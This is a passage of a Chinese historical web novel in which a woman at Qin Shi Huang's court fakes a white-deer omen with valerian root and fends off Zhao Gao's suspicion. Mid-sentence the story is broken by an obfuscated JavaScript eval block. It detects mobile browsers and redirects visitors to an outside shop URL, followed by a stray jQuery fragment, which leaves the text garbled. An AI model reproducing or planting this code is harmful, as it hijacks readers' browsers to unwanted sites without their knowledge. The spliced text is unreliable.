“陛下,祥瑞入宫,按礼制应先行占卜吉凶,再由宗正登记入册,方可入御苑。臣掌符玺多年,不敢坏了规矩。”
赵高的声音不高不低,带着一种恰到好处的恭谨。
宋知意的心砰砰直跳,深吸一口气,伏身道:“陛下,占卜之术,臣女刚好略通一二。若陛下准允,臣女愿为白鹿占卜。”
殿里安静了一瞬。宋知意感觉到赵高的目光落在了自己身上,沉甸甸的。
“准。”
秦始皇的声音从殿上落下来,宋知意心里那块悬着的石头往下落了半寸。
“这位便是扶苏殿下进献的方士?”赵高脸上有种看戏似的从容。
“回大人。臣女幼时曾遇异人,教过一些观象辨气之术。不敢说精通,略知皮毛而已。”宋知意恭谨道。
赵高沉默了一瞬,但还没等他说什么,秦始皇在上面开口了:“正好,朕也想看看扶苏派来的人有什么本事。你来说说,怎么占?”
“回陛下,”宋知意稳住呼吸,“臣女请以白鹿本身为兆,占一卦陛下心中所念之事。”
秦始皇微微眯眼:“你知道朕心中所念?”
“臣女不知,但白鹿通灵,若陛下心中默念一事,白鹿自会示兆。臣女只需观鹿之动静,便可解读。”
秦始皇沉默片刻,说了一个字:“准。”
宋知意走到白鹿面前,从袖中取出一小块东西,看起来像是干枯的草根。她蹲下身,将那草根放在自己掌心,凑到白鹿鼻前。白鹿嗅了嗅,垂下头,舌头一卷,将那草根卷入嘴中,慢慢咀嚼起来。
做完这个动作,宋知意便退开了,垂手站在一旁,不再有任何举动。
殿中安静下来,所有人都盯着那只白鹿。白鹿嚼完草根之后,先是静立不动,片刻后忽然原地转了两圈,然后面朝西北方向卧了下来,将头搁在前蹄上,闭上了眼睛。
宋知意躬身道:“陛下,白鹿已示兆。西北方位,卧而闭目,乃是‘止戈’之象。陛下心中所念之事,当与兵戈有关,而白鹿示以止息之意。”
秦始皇脸上没有表情,但他搭在膝上的手指微微动了一下,她知道自己赌对了。秦始皇正在筹划对匈奴用兵之事,这在朝中虽然尚未公开议论,但扶苏此前已隐约向她透露过口风。
殿上有一瞬间的凝滞。然后秦始皇开口了,声音平淡:“你所言,倒是巧了。”
赵高忽然开口了,语气不紧不慢:“陛下,臣有一个小小的疑问。方才这位姑娘给鹿喂了一截草根,鹿吃了之后便开始转圈卧倒。若这草根本身就有催鹿安眠或转圈的药性,那所谓‘示兆’,岂非人为?”
宋知意心里一紧,赵高果然看出来了。那截草根是缬草根,转圈和卧倒都是鹿类动物对缬草的反应之一,但这话绝不能认。
她转身,面对赵高,面色从容:“那草根确实不是寻常之物,乃是终南山的‘鹿衔草’,鹿食之后灵性稍显,容易感应天兆。但它只起引导之用,鹿最终面朝何方,卧或不卧,却不是臣女能控制的。”
赵高盯着她,嘴角微动,正要继续追问,秦始皇在上面开口了:“够了。”
殿中瞬间安静。
秦始皇从御座上起身,走到白鹿面前。白鹿已经重新睁开了眼睛,安静地望着他,姿态从容。秦始皇伸出手,在白鹿头顶轻轻按了一下,白鹿没有躲闪。
“西北,止戈,”他低声重复了这四个字,然后转过身,目光扫过二人,“此事朕自有考量。”
赵高躬身:“臣,遵旨。”
宋知意背后已经一身冷汗,她知道今日这一关过得凶险,缬草根的事被赵高注意到了,他回去之后一定会查。
须得用更大的事盖过去。
她咬了咬牙,面上不动声色,扬声道:“此事关乎家国安危,臣女也想为陛下分忧。请陛下容臣女三日,三日后于咸阳宫外设坛,为陛下占一卦大秦国运。届时满朝文武皆可观之,天象昭昭,无人能欺。”
秦始皇站在阶上,居高临下地看着她。片刻后,他缓缓道:“准。”
她俯身叩首:“谢陛下。”
心里稍微松了口气,宋知意知道自己已经暂时站稳了脚跟,不过这只是第一步而已。三日后的那场占卜,才是真正的生死之局。
始皇盯着虚空看了一会,忽然开口:“扶苏最近如何?”
宋知意的呼吸停了一瞬,低着头,声音平稳:“公子一
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17825080|211129||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
切安好,上郡今冬无大战,但北境各族动静不少,公子与蒙将军日夜巡防,不敢懈怠。臣女出发前,公子让臣女代为转达,愿陛下保重龙体,北疆之事有他在,陛下不必挂心。”
怎么样,是不是很感动?快让你的父爱熊熊燃烧吧!
宋知意在心里呐喊。
秦始皇出了会神,没有说话。
“上郡的冬天,倒比咸阳冷得多。”他说了一句,语气里听不出情绪,像是自言自语。
宋知意没有接话,心里知道秦始皇在说的不是天气。
殿中安静了片刻,赵高上前半步,声音温和:“陛下挂念殿下,是父子天性。臣听说公子在上郡与将士同吃同住,冬日巡防时还亲自给守卒添过炭火,军中上下无不感念。公子仁厚,实乃大秦之福。”
这话说得滴水不漏,全是好话,但宋知意后背倏地一凉。赵高特意点出“与将士同吃同住”,“给守卒添炭火”,又用了“感念”二字,这哪里是夸扶苏,分明是在提醒秦始皇。
秦始皇当年以军功立身,最清楚将领在军中得人心意味着什么。一个在边关手握兵权,同时深得军心的长子,又意味着什么。
果然,秦始皇原本松弛搭在膝上的手指收拢了一下,但面上不显,不置可否。
宋知意知道不能任由赵高的话在那里生根,叩首道:“陛下,公子常对臣女说,他此生最大的幸事,是生为陛下之子。旁人说公子仁厚也好,勤勉也罢,但在公子心里,天下人称赞他千万句,都不及陛下说一句。臣女出发前夜,公子独坐在营帐外看了很久的南边天际,臣女问他看什么,他说——”
她顿了一下,声音低了几分:“‘我在看咸阳的方向,父皇这个时辰,大概已经歇息了吧。’”
殿中再次安静下来。
秦始皇他转过头,看向宋知意,目光比方才柔和了些许,但仍然带着一层薄翳:“他让你带这话?”
“公子不曾让臣女带话,”宋知意恭敬道,“是臣女自己记在心里的。臣女觉得,这样的话,应当让陛下知道。”
秦始皇望着殿外的天光,出一会儿神,忽然转了话题:“扶苏上奏说,你不仅通阴阳,晓天象,还会炼丹?”